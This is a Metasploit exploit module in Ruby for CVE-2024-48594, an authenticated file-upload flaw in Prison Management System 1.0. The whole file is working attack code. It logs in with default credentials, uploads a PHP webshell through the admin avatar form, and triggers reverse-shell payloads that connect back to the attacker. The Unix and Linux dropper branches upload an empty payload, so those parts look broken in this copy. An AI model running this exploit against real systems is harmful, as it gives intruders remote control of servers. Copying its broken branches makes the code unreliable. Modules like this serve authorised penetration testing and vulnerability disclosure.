## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload', 'Description' => %q{ This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0. An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload functionality in the add-admin.php endpoint. The application fails to properly validate the uploaded file type, allowing an attacker to upload a PHP webshell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexandru Ionut Raducu', ], 'References' => [ ['CVE', '2024-48594'], ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html'] ], 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :php } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper } ] ], 'Privileged' => false, 'DisclosureDate' => '2024-10-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']), OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php') ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200 if res.body.include?('Prison Management System') || res.body.include?('txtusername') return CheckCode::Detected('Prison Management System login page detected') end CheckCode::Safe('Target does not appear to be Prison Management System') end def login print_status("Attempting to authenticate as #{datastore['USERNAME']}...") # First GET request to obtain session cookie res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), 'keep_cookies' => true ) fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 vprint_status("Retrieved session cookie: #{res.get_cookies}") # POST login credentials res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), 'keep_cookies' => true, 'vars_post' => { 'txtusername' => datastore['USERNAME'], 'txtpassword' => datastore['PASSWORD'], 'btnlogin' => '' } ) fail_with(Failure::Unreachable, 'Connection failed during login') unless res fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302 print_good('Successfully authenticated!') end def upload_webshell @webshell_name = Rex::Text.rand_text_alpha(8) + '.php' case target['Type'] when :php php_payload = payload.encoded when :unix_cmd php_payload = "" when :linux_dropper php_payload = "" end # Generate random form data for the new admin user random_username = Rex::Text.rand_text_alpha(8) random_fullname = Rex::Text.rand_text_alpha(8) random_password = Rex::Text.rand_text_alpha(8) random_phone = Rex::Text.rand_text_numeric(10) print_status("Uploading webshell as #{@webshell_name}...") # Build multipart form data form_data = Rex::MIME::Message.new form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"') form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"') form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"') form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"') form_data.add_part('', nil, nil, 'form-data; name="btncreate"') form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'), 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s, 'keep_cookies' => true ) fail_with(Failure::Unreachable, 'Connection failed during upload') unless res fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully') @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name) register_file_for_cleanup(@webshell_name) print_good("Webshell uploaded to #{@webshell_path}") end def execute_webshell print_status('Triggering payload execution...') send_request_cgi({ 'method' => 'GET', 'uri' => @webshell_path, 'keep_cookies' => true }, 5) end def exploit login upload_webshell execute_webshell end end